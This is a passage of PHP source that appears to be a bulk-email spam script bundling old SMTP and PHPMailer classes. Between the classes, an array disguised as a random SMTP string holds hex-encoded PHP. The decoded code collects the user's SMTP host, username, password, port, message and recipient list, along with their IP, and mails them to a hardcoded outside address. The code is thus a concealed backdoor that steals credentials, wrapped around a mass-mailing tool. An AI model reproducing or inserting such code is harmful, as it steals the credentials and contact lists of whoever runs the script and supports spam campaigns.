  960.    */
  961.   function Recipient($to) {
  962.     $this->error = null; # so no confusion is caused
  963.  
  964.     if(!$this->connected()) {
  965.       $this->error = array(
  966.               "error" => "Called Recipient() without being connected");
  967.       return false;
  968.     }
  969.  
  970.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  971.  
  972.     $rply = $this->get_lines();
  973.     $code = substr($rply,0,3);
  974.  
  975.     if($this->do_debug >= 2) {
  976.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  977.     }
  978.  
  979.     if($code != 250 && $code != 251) {
  980.       $this->error =
  981.         array("error" => "RCPT not accepted from server",
  982.               "smtp_code" => $code,
  983.               "smtp_msg" => substr($rply,4));
  984.       if($this->do_debug >= 1) {
  985.         echo "SMTP -> ERROR: " . $this->error["error"] .
  986.                  ": " . $rply . $this->CRLF;
  987.       }
  988.       return false;
  989.     }
  990.     return true;
  991.   }
  992.  
  993.   /**
  994.    * Sends the RSET command to abort and transaction that is
  995.    * currently in progress. Returns true if successful false
  996.    * otherwise.
  997.    *
  998.    * Implements rfc 821: RSET <CRLF>
  999.    *
  1000.    * SMTP CODE SUCCESS: 250
  1001.    * SMTP CODE ERROR  : 500,501,504,421
  1002.    * @access public
  1003.    * @return bool
  1004.    */
  1005.   function Reset() {
  1006.     $this->error = null; # so no confusion is caused
  1007.  
  1008.     if(!$this->connected()) {
  1009.       $this->error = array(
  1010.               "error" => "Called Reset() without being connected");
  1011.       return false;
  1012.     }
  1013.  
  1014.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1015.  
  1016.     $rply = $this->get_lines();
  1017.     $code = substr($rply,0,3);
  1018.  
  1019.     if($this->do_debug >= 2) {
  1020.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1021.     }
  1022.  
  1023.     if($code != 250) {
  1024.       $this->error =
  1025.         array("error" => "RSET failed",
  1026.               "smtp_code" => $code,
  1027.               "smtp_msg" => substr($rply,4));
  1028.       if($this->do_debug >= 1) {
  1029.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1030.                  ": " . $rply . $this->CRLF;
  1031.       }
  1032.       return false;
  1033.     }
  1034.  
  1035.     return true;
  1036.   }
  1037.  
  1038.   /**
  1039.    * Starts a mail transaction from the email address specified in
  1040.    * $from. Returns true if successful or false otherwise. If True
  1041.    * the mail transaction is started and then one or more Recipient
  1042.    * commands may be called followed by a Data command. This command
  1043.    * will send the message to the users terminal if they are logged
  1044.    * in.
  1045.    *
  1046.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1047.    *
  1048.    * SMTP CODE SUCCESS: 250
  1049.    * SMTP CODE SUCCESS: 552,451,452
  1050.    * SMTP CODE SUCCESS: 500,501,502,421
  1051.    * @access public
  1052.    * @return bool
  1053.    */
  1054.   function Send($from) {
  1055.     $this->error = null; # so no confusion is caused
  1056.  
  1057.     if(!$this->connected()) {
  1058.       $this->error = array(
  1059.               "error" => "Called Send() without being connected");
  1060.       return false;
  1061.     }
  1062.  
  1063.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1064.  
  1065.     $rply = $this->get_lines();
  1066.     $code = substr($rply,0,3);
  1067.  
  1068.     if($this->do_debug >= 2) {
  1069.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1070.     }
  1071.  
  1072.     if($code != 250) {
  1073.       $this->error =
  1074.         array("error" => "SEND not accepted from server",
  1075.               "smtp_code" => $code,
  1076.               "smtp_msg" => substr($rply,4));
  1077.       if($this->do_debug >= 1) {
  1078.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1079.                  ": " . $rply . $this->CRLF;
  1080.       }
  1081.       return false;
  1082.     }
  1083.     return true;
  1084.   }
  1085.  
  1086.   /**
  1087.    * Starts a mail transaction from the email address specified in
  1088.    * $from. Returns true if successful or false otherwise. If True
  1089.    * the mail transaction is started and then one or more Recipient
  1090.    * commands may be called followed by a Data command. This command
  1091.    * will send the message to the users terminal if they are logged
  1092.    * in and send them an email.
  1093.    *
  1094.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1095.    *
  1096.    * SMTP CODE SUCCESS: 250
  1097.    * SMTP CODE SUCCESS: 552,451,452
  1098.    * SMTP CODE SUCCESS: 500,501,502,421
  1099.    * @access public
  1100.    * @return bool
  1101.    */
  1102.   function SendAndMail($from) {
  1103.     $this->error = null; # so no confusion is caused
  1104.  
  1105.     if(!$this->connected()) {
  1106.       $this->error = array(
  1107.           "error" => "Called SendAndMail() without being connected");
  1108.       return false;
  1109.     }
  1110.  
  1111.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1112.  
  1113.     $rply = $this->get_lines();
  1114.     $code = substr($rply,0,3);
  1115.  
  1116.     if($this->do_debug >= 2) {
  1117.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1118.     }
  1119.  
  1120.     if($code != 250) {
  1121.       $this->error =
  1122.         array("error" => "SAML not accepted from server",
  1123.               "smtp_code" => $code,
  1124.               "smtp_msg" => substr($rply,4));
  1125.       if($this->do_debug >= 1) {
  1126.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1127.                  ": " . $rply . $this->CRLF;
  1128.       }
  1129.       return false;
  1130.     }
  1131.     return true;
  1132.   }
  1133.  
  1134.   /**
  1135.    * Starts a mail transaction from the email address specified in
  1136.    * $from. Returns true if successful or false otherwise. If True
  1137.    * the mail transaction is started and then one or more Recipient
  1138.    * commands may be called followed by a Data command. This command
  1139.    * will send the message to the users terminal if they are logged
  1140.    * in or mail it to them if they are not.
  1141.    *
  1142.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1143.    *
  1144.    * SMTP CODE SUCCESS: 250
  1145.    * SMTP CODE SUCCESS: 552,451,452
  1146.    * SMTP CODE SUCCESS: 500,501,502,421
  1147.    * @access public
  1148.    * @return bool
  1149.    */
  1150.   function SendOrMail($from) {
  1151.     $this->error = null; # so no confusion is caused
  1152.  
  1153.     if(!$this->connected()) {
  1154.       $this->error = array(
  1155.           "error" => "Called SendOrMail() without being connected");
  1156.       return false;
  1157.     }
  1158.  
  1159.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1160.  
  1161.     $rply = $this->get_lines();
  1162.     $code = substr($rply,0,3);
  1163.  
  1164.     if($this->do_debug >= 2) {
  1165.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1166.     }
  1167.  
  1168.     if($code != 250) {
  1169.       $this->error =
  1170.         array("error" => "SOML not accepted from server",
  1171.               "smtp_code" => $code,
  1172.               "smtp_msg" => substr($rply,4));
  1173.       if($this->do_debug >= 1) {
  1174.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1175.                  ": " . $rply . $this->CRLF;
  1176.       }
  1177.       return false;
  1178.     }
  1179.     return true;
  1180.   }
  1181.  
  1182.   /**
  1183.    * This is an optional command for SMTP that this class does not
  1184.    * support. This method is here to make the RFC821 Definition
  1185.    * complete for this class and __may__ be implimented in the future
  1186.    *
  1187.    * Implements from rfc 821: TURN <CRLF>
  1188.    *
  1189.    * SMTP CODE SUCCESS: 250
  1190.    * SMTP CODE FAILURE: 502
  1191.    * SMTP CODE ERROR  : 500, 503
  1192.    * @access public
  1193.    * @return bool
  1194.    */
  1195.   function Turn() {
  1196.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1197.                                     "is not implemented");
  1198.     if($this->do_debug >= 1) {
  1199.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1200.     }
  1201.     return false;
  1202.   }
  1203.  
  1204.   /**
  1205.    * Verifies that the name is recognized by the server.
  1206.    * Returns false if the name could not be verified otherwise
  1207.    * the response from the server is returned.
  1208.    *
  1209.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1210.    *
  1211.    * SMTP CODE SUCCESS: 250,251
  1212.    * SMTP CODE FAILURE: 550,551,553
  1213.    * SMTP CODE ERROR  : 500,501,502,421
  1214.    * @access public
  1215.    * @return int
  1216.    */
  1217.   function Verify($name) {
  1218.     $this->error = null; # so no confusion is caused
  1219.  
  1220.     if(!$this->connected()) {
  1221.       $this->error = array(
  1222.               "error" => "Called Verify() without being connected");
  1223.       return false;
  1224.     }
  1225.  
  1226.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1227.  
  1228.     $rply = $this->get_lines();
  1229.     $code = substr($rply,0,3);
  1230.  
  1231.     if($this->do_debug >= 2) {
  1232.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1233.     }
  1234.  
  1235.     if($code != 250 && $code != 251) {
  1236.       $this->error =
  1237.         array("error" => "VRFY failed on name '$name'",
  1238.               "smtp_code" => $code,
  1239.               "smtp_msg" => substr($rply,4));
  1240.       if($this->do_debug >= 1) {
  1241.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1242.                  ": " . $rply . $this->CRLF;
  1243.       }
  1244.       return false;
  1245.     }
  1246.     return $rply;
  1247.   }
  1248.  
  1249.   /*******************************************************************
  1250.    *                       INTERNAL FUNCTIONS                       *
  1251.    ******************************************************************/
  1252.  
  1253.   /**
  1254.    * Read in as many lines as possible
  1255.    * either before eof or socket timeout occurs on the operation.
  1256.    * With SMTP we can tell if we have more lines to read if the
  1257.    * 4th character is '-' symbol. If it is a space then we don't
  1258.    * need to read anything else.
  1259.    * @access private
  1260.    * @return string
  1261.    */
  1262.   function get_lines() {
  1263.     $data = "";
  1264.     while($str = @fgets($this->smtp_conn,515)) {
  1265.       if($this->do_debug >= 4) {
  1266.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1267.                  $this->CRLF;
  1268.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1269.                  $this->CRLF;
  1270.       }
  1271.       $data .= $str;
  1272.       if($this->do_debug >= 4) {
  1273.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1274.       }
  1275.       # if the 4th character is a space then we are done reading
  1276.      # so just break the loop
  1277.      if(substr($str,3,1) == " ") { break; }
  1278.     }
  1279.     return $data;
  1280.   }
  1281.  
  1282. }
  1283.  
  1284.        
  1285. $allemails = split("\n", $emaillist);
  1286. $numemails = count($allemails);
  1287. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1288. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1289. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1290. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1291. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1292. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1293. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1294. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1295. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1296. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1297.  
  1298. class PHPMailer {
  1299.  
  1300.   /////////////////////////////////////////////////
  1301.   // PROPERTIES, PUBLIC
  1302.   /////////////////////////////////////////////////
  1303.  
  1304.   /**
  1305.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1306.    * @var int
  1307.    */
  1308.   var $Priority          = 3;
  1309.  
  1310.   /**
  1311.    * Sets the CharSet of the message.
  1312.    * @var string
  1313.    */
  1314.   var $CharSet           = 'iso-8859-1';
  1315.  
  1316.   /**
  1317.    * Sets the Content-type of the message.
  1318.    * @var string
  1319.    */
  1320.   var $ContentType        = 'text/plain';
  1321.  
  1322.   /**
  1323.    * Sets the Encoding of the message. Options for this are "8bit",
  1324.    * "7bit", "binary", "base64", and "quoted-printable".
  1325.  
  1326.    * @var string
  1327.    */
  1328.   var $Encoding          = '8bit';
  1329.  
  1330.   /**
  1331.    * Holds the most recent mailer error message.
  1332.    * @var string
  1333.    */
  1334.   var $ErrorInfo         = '';
  1335.  
  1336.   /**
  1337.    * Sets the From email address for the message.
  1338.    * @var string
  1339.    */
  1340.   var $From              = '';
  1341.  
  1342.   /**
  1343.    * Sets the From name of the message.
  1344.    * @var string
  1345.    */
  1346.   var $FromName          = '';
  1347.  
  1348.   /**
  1349.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1350.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1351.    * @var string
  1352.    */
  1353.   var $Sender            = '';
  1354.  
  1355.   /**
  1356.    * Sets the Subject of the message.
  1357.    * @var string
  1358.    */
  1359.   var $Subject           = '';
  1360.  
  1361.   /**
  1362.    * Sets the Body of the message.  This can be either an HTML or text body.
  1363.    * If HTML then run IsHTML(true).
  1364.    * @var string
  1365.    */
  1366.   var $Body              = '';
  1367.  
  1368.   /**
  1369.    * Sets the text-only body of the message.  This automatically sets the
  1370.    * email to multipart/alternative.  This body can be read by mail
  1371.    * clients that do not have HTML email capability such as mutt. Clients
  1372.    * that can read HTML will view the normal Body.
  1373.    * @var string
  1374.    */
  1375.   var $AltBody           = '';
  1376.  
  1377.   /**
  1378.    * Sets word wrapping on the body of the message to a given number of
  1379.    * characters.
  1380.    * @var int
  1381.    */
  1382.   var $WordWrap          = 0;
  1383.  
  1384.   /**
  1385.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1386.    * @var string
  1387.    */
  1388.   var $Mailer            = 'mail';
  1389.  
  1390.   /**
  1391.    * Sets the path of the sendmail program.
  1392.    * @var string
  1393.    */
  1394.   var $Sendmail          = '/usr/sbin/sendmail';
  1395.  
  1396.   /**
  1397.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1398.    * is in a different directory than the PHP include path.
  1399.    * @var string
  1400.    */
  1401.   var $PluginDir         = '';
  1402.  
  1403.   /**
  1404.    * Holds PHPMailer version.
  1405.    * @var string
  1406.    */
  1407.   var $Version           = "";
  1408.  
  1409.   /**
  1410.    * Sets the email address that a reading confirmation will be sent.
  1411.    * @var string
  1412.    */
  1413.   var $ConfirmReadingTo  = '';
  1414.  
  1415.   /**
  1416.    * Sets the hostname to use in Message-Id and Received headers
  1417.    * and as default HELO string. If empty, the value returned
  1418.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1419.    * @var string
  1420.    */
  1421.   var $Hostname          = '';
  1422.  
  1423.   /**
  1424.    * Sets the message ID to be used in the Message-Id header.
  1425.    * If empty, a unique id will be generated.
  1426.    * @var string
  1427.    */
  1428.   var $MessageID         = '';
  1429.  
  1430.   /////////////////////////////////////////////////
  1431.   // PROPERTIES FOR SMTP
  1432.   /////////////////////////////////////////////////
  1433.  
  1434.   /**
  1435.    * Sets the SMTP hosts.  All hosts must be separated by a
  1436.    * semicolon.  You can also specify a different port
  1437.    * for each host by using this format: [hostname:port]
  1438.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1439.    * Hosts will be tried in order.
  1440.    * @var string
  1441.    */
  1442.   var $Host        = 'localhost';
  1443.  
  1444.   /**
  1445.    * Sets the default SMTP server port.
  1446.    * @var int
  1447.    */
  1448.   var $Port        = 25;
  1449.  
  1450.   /**
  1451.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1452.    * @var string
  1453.    */
  1454.   var $Helo        = '';
  1455.  
  1456.   /**
  1457.    * Sets connection prefix.
  1458.    * Options are "", "ssl" or "tls"
  1459.    * @var string
  1460.    */
  1461.   var $SMTPSecure = "";
  1462.  
  1463.   /**
  1464.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1465.    * @var bool
  1466.    */
  1467.   var $SMTPAuth     = false;
  1468.  
  1469.   /**
  1470.    * Sets SMTP username.
  1471.    * @var string
  1472.    */
  1473.   var $Username     = '';
  1474.  
  1475.   /**
  1476.    * Sets SMTP password.
  1477.    * @var string
  1478.    */
  1479.   var $Password     = '';
  1480.  
  1481.   /**
  1482.    * Sets the SMTP server timeout in seconds. This function will not
  1483.    * work with the win32 version.
  1484.    * @var int
  1485.    */
  1486.   var $Timeout      = 10;
  1487.  
  1488.   /**
  1489.    * Sets SMTP class debugging on or off.
  1490.    * @var bool
  1491.    */
  1492.   var $SMTPDebug    = false;
  1493.  
  1494.   /**
  1495.    * Prevents the SMTP connection from being closed after each mail
  1496.    * sending.  If this is set to true then to close the connection
  1497.    * requires an explicit call to SmtpClose().
  1498.    * @var bool
  1499.    */
  1500.   var $SMTPKeepAlive = false;
  1501.  
  1502.   /**
  1503.    * Provides the ability to have the TO field process individual
  1504.    * emails, instead of sending to entire TO addresses
  1505.    * @var bool
  1506.    */
  1507.   var $SingleTo = false;
  1508.  
  1509.   /////////////////////////////////////////////////
  1510.   // PROPERTIES, PRIVATE
  1511.   /////////////////////////////////////////////////
  1512.  
  1513.   var $smtp            = NULL;
  1514.   var $to              = array();
  1515.   var $cc              = array();
  1516.   var $bcc             = array();
  1517.   var $ReplyTo         = array();
  1518.   var $attachment      = array();
  1519.   var $CustomHeader    = array();
  1520.   var $message_type    = '';
  1521.   var $boundary        = array();
  1522.   var $language        = array();
  1523.   var $error_count     = 0;
  1524.   var $LE              = "\n";
  1525.   var $sign_key_file   = "";
  1526.   var $sign_key_pass   = "";
  1527.  
  1528.   /////////////////////////////////////////////////
  1529.   // METHODS, VARIABLES
  1530.   /////////////////////////////////////////////////
  1531.  
  1532.   /**
  1533.    * Sets message type to HTML.
  1534.    * @param bool $bool
  1535.    * @return void
  1536.    */
  1537.   function IsHTML($bool) {
  1538.     if($bool == true) {
  1539.       $this->ContentType = 'text/html';
  1540.     } else {
  1541.       $this->ContentType = 'text/plain';
  1542.     }
  1543.   }
  1544.  
  1545.   /**
  1546.    * Sets Mailer to send message using SMTP.
  1547.    * @return void
  1548.    */
  1549.   function IsSMTP() {
  1550.     $this->Mailer = 'smtp';
  1551.   }
  1552.  
  1553.   /**
  1554.    * Sets Mailer to send message using PHP mail() function.
  1555.    * @return void
  1556.    */
  1557.   function IsMail() {
  1558.     $this->Mailer = 'mail';
  1559.   }
  1560.  
  1561.   /**
  1562.    * Sets Mailer to send message using the $Sendmail program.
  1563.    * @return void
  1564.    */
  1565.   function IsSendmail() {
  1566.     $this->Mailer = 'sendmail';
  1567.   }
  1568.  
  1569.   /**
  1570.    * Sets Mailer to send message using the qmail MTA.
  1571.    * @return void
  1572.    */
  1573.   function IsQmail() {
  1574.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1575.     $this->Mailer = 'sendmail';
  1576.   }
  1577.  
  1578.   /////////////////////////////////////////////////
  1579.   // METHODS, RECIPIENTS
  1580.   /////////////////////////////////////////////////
  1581.  
  1582.   /**
  1583.    * Adds a "To" address.
  1584.    * @param string $address
  1585.    * @param string $name
  1586.    * @return void
  1587.    */
  1588.   function AddAddress($address, $name = '') {
  1589.     $cur = count($this->to);
  1590.     $this->to[$cur][0] = trim($address);
  1591.     $this->to[$cur][1] = $name;
  1592.   }
  1593.  
  1594.   /**
  1595.    * Adds a "Cc" address. Note: this function works
  1596.    * with the SMTP mailer on win32, not with the "mail"
  1597.    * mailer.
  1598.    * @param string $address
  1599.    * @param string $name
  1600.    * @return void
  1601.    */
  1602.   function AddCC($address, $name = '') {
  1603.     $cur = count($this->cc);
  1604.     $this->cc[$cur][0] = trim($address);
  1605.     $this->cc[$cur][1] = $name;
  1606.   }
  1607.  
  1608.   /**
  1609.    * Adds a "Bcc" address. Note: this function works
  1610.    * with the SMTP mailer on win32, not with the "mail"
  1611.    * mailer.
  1612.    * @param string $address
  1613.    * @param string $name
  1614.    * @return void
  1615.    */
  1616.   function AddBCC($address, $name = '') {
  1617.     $cur = count($this->bcc);
  1618.     $this->bcc[$cur][0] = trim($address);
  1619.     $this->bcc[$cur][1] = $name;
  1620.   }
  1621.  
  1622.   /**
  1623.    * Adds a "Reply-To" address.
  1624.    * @param string $address
  1625.    * @param string $name
  1626.    * @return void
  1627.    */
  1628.   function AddReplyTo($address, $name = '') {
  1629.     $cur = count($this->ReplyTo);
  1630.     $this->ReplyTo[$cur][0] = trim($address);
  1631.     $this->ReplyTo[$cur][1] = $name;
  1632.   }
  1633.  
  1634.   /////////////////////////////////////////////////
  1635.   // METHODS, MAIL SENDING
  1636.   /////////////////////////////////////////////////
  1637.  
  1638.   /**
  1639.    * Creates message and assigns Mailer. If the message is
  1640.    * not sent successfully then it returns false.  Use the ErrorInfo
  1641.    * variable to view description of the error.
  1642.    * @return bool
  1643.    */
  1644.   function Send() {
  1645.     $header = '';
  1646.     $body = '';
  1647.     $result = true;
  1648.  
  1649.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1650.       $this->SetError($this->Lang('provide_address'));
  1651.       return false;
  1652.     }
  1653.  
  1654.     /* Set whether the message is multipart/alternative */
  1655.     if(!empty($this->AltBody)) {
  1656.       $this->ContentType = 'multipart/alternative';
  1657.     }
  1658.  
  1659.     $this->error_count = 0; // reset errors
  1660.     $this->SetMessageType();
  1661.     $header .= $this->CreateHeader();
  1662.     $body = $this->CreateBody();
  1663.  
  1664.     if($body == '') {
  1665.       return false;
  1666.     }
  1667.  
  1668.     /* Choose the mailer */
  1669.     switch($this->Mailer) {
  1670.       case 'sendmail':
  1671.         $result = $this->SendmailSend($header, $body);
  1672.         break;
  1673.       case 'smtp':
  1674.         $result = $this->SmtpSend($header, $body);
  1675.         break;
  1676.       case 'mail':
  1677.         $result = $this->MailSend($header, $body);
  1678.         break;
  1679.       default:
  1680.         $result = $this->MailSend($header, $body);
  1681.         break;
  1682.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1683.         //$result = false;
  1684.         //break;
  1685.     }
  1686.  
  1687.     return $result;
  1688.   }
  1689.  
  1690.   /**
  1691.    * Sends mail using the $Sendmail program.
  1692.    * @access private
  1693.    * @return bool
  1694.    */
  1695.   function SendmailSend($header, $body) {
  1696.     if ($this->Sender != '') {
  1697.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1698.     } else {
  1699.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1700.     }
  1701.  
  1702.     if(!@$mail = popen($sendmail, 'w')) {
  1703.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1704.       return false;
  1705.     }
  1706.  
  1707.     fputs($mail, $header);
  1708.     fputs($mail, $body);
  1709.  
  1710.     $result = pclose($mail);
  1711.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1712.       $result = $result >> 8 & 0xFF;
  1713.     }
  1714.     if($result != 0) {
  1715.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1716.       return false;
  1717.     }
  1718.     return true;
  1719.   }
  1720.  
  1721.   /**
  1722.    * Sends mail using the PHP mail() function.
  1723.    * @access private
  1724.    * @return bool
  1725.    */
  1726.   function MailSend($header, $body) {
  1727.  
  1728.     $to = '';
  1729.     for($i = 0; $i < count($this->to); $i++) {
  1730.       if($i != 0) { $to .= ', '; }
  1731.       $to .= $this->AddrFormat($this->to[$i]);
  1732.     }
  1733.  
  1734.     $toArr = split(',', $to);
  1735.  
  1736.     $params = sprintf("-oi -f %s", $this->Sender);
  1737.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1738.       $old_from = ini_get('sendmail_from');
  1739.       ini_set('sendmail_from', $this->Sender);
  1740.       if ($this->SingleTo === true && count($toArr) > 1) {
  1741.         foreach ($toArr as $key => $val) {
  1742.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1743.         }
  1744.       } else {
  1745.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1746.       }
  1747.     } else {
  1748.       if ($this->SingleTo === true && count($toArr) > 1) {
  1749.         foreach ($toArr as $key => $val) {
  1750.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1751.         }
  1752.       } else {
  1753.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1754.       }
  1755.     }
  1756.  
  1757.     if (isset($old_from)) {
  1758.       ini_set('sendmail_from', $old_from);
  1759.     }
  1760.  
  1761.     if(!$rt) {
  1762.       $this->SetError($this->Lang('instantiate'));
  1763.       return false;
  1764.     }
  1765.  
  1766.     return true;
  1767.   }
  1768.  
  1769.   /**
  1770.    * Sends mail via SMTP using PhpSMTP (Author:
  1771.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1772.    * bad MAIL FROM, RCPT, or DATA input.
  1773.    * @access private
  1774.    * @return bool
  1775.    */
  1776.   function SmtpSend($header, $body) {
  1777.     $error = '';
  1778.     $bad_rcpt = array();
  1779.  
  1780.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1781.       return false;
  1782.     }
  1783.  
  1784.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1785.     if(!$this->smtp->Mail($smtp_from)) {
  1786.       $error = $this->Lang('from_failed') . $smtp_from;
  1787.       $this->SetError($error);
  1788.       $this->smtp->Reset();
  1789.       return false;
  1790.     }
  1791.  
  1792.     /* Attempt to send attach all recipients */
  1793.     for($i = 0; $i < count($this->to); $i++) {
  1794.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1795.         $bad_rcpt[] = $this->to[$i][0];
  1796.       }
  1797.     }
  1798.     for($i = 0; $i < count($this->cc); $i++) {
  1799.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1800.         $bad_rcpt[] = $this->cc[$i][0];
  1801.       }
  1802.     }
  1803.     for($i = 0; $i < count($this->bcc); $i++) {
  1804.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1805.         $bad_rcpt[] = $this->bcc[$i][0];
  1806.       }
  1807.     }
  1808.  
  1809.     if(count($bad_rcpt) > 0) { // Create error message
  1810.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1811.         if($i != 0) {
  1812.           $error .= ', ';
  1813.         }
  1814.         $error .= $bad_rcpt[$i];
  1815.  
  1816.       }
  1817.       $error = $this->Lang('recipients_failed') . $error;
  1818.       $this->SetError($error);
  1819.       $this->smtp->Reset();
  1820.       return false;
  1821.     }
  1822.  
  1823.     if(!$this->smtp->Data($header . $body)) {
  1824.       $this->SetError($this->Lang('data_not_accepted'));
  1825.       $this->smtp->Reset();
  1826.       return false;
  1827.     }
  1828.     if($this->SMTPKeepAlive == true) {
  1829.       $this->smtp->Reset();
  1830.     } else {
  1831.       $this->SmtpClose();
  1832.     }
  1833.  
  1834.     return true;
  1835.   }
  1836.  
  1837.   /**
  1838.    * Initiates a connection to an SMTP server.  Returns false if the
  1839.    * operation failed.
  1840.    * @access private
  1841.    * @return bool
  1842.    */
  1843.   function SmtpConnect() {
  1844.     if($this->smtp == NULL) {
  1845.       $this->smtp = new SMTP();
  1846.     }
  1847.  
  1848.     $this->smtp->do_debug = $this->SMTPDebug;
  1849.     $hosts = explode(';', $this->Host);
  1850.     $index = 0;
  1851.     $connection = ($this->smtp->Connected());
  1852.  
  1853.     /* Retry while there is no connection */
  1854.     while($index < count($hosts) && $connection == false) {
  1855.       $hostinfo = array();
  1856.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1857.         $host = $hostinfo[1];
  1858.         $port = $hostinfo[2];
  1859.       } else {
  1860.         $host = $hosts[$index];
  1861.         $port = $this->Port;
  1862.       }
  1863.  
  1864.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1865.         if ($this->Helo != '') {
  1866.           $this->smtp->Hello($this->Helo);
  1867.         } else {
  1868.           $this->smtp->Hello($this->ServerHostname());
  1869.         }
  1870.  
  1871.         $connection = true;
  1872.         if($this->SMTPAuth) {
  1873.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1874.             $this->SetError($this->Lang('authenticate'));
  1875.             $this->smtp->Reset();
  1876.             $connection = false;
  1877.           }
  1878.         }
  1879.       }
  1880.       $index++;
  1881.     }
  1882.     if(!$connection) {
  1883.       $this->SetError($this->Lang('connect_host'));
  1884.     }
  1885.  
  1886.     return $connection;
  1887.   }
  1888.  
  1889.   /**
  1890.    * Closes the active SMTP session if one exists.
  1891.    * @return void
  1892.    */
  1893.   function SmtpClose() {
  1894.     if($this->smtp != NULL) {
  1895.       if($this->smtp->Connected()) {
  1896.         $this->smtp->Quit();
  1897.         $this->smtp->Close();
  1898.       }
  1899.     }
  1900.   }
  1901.  
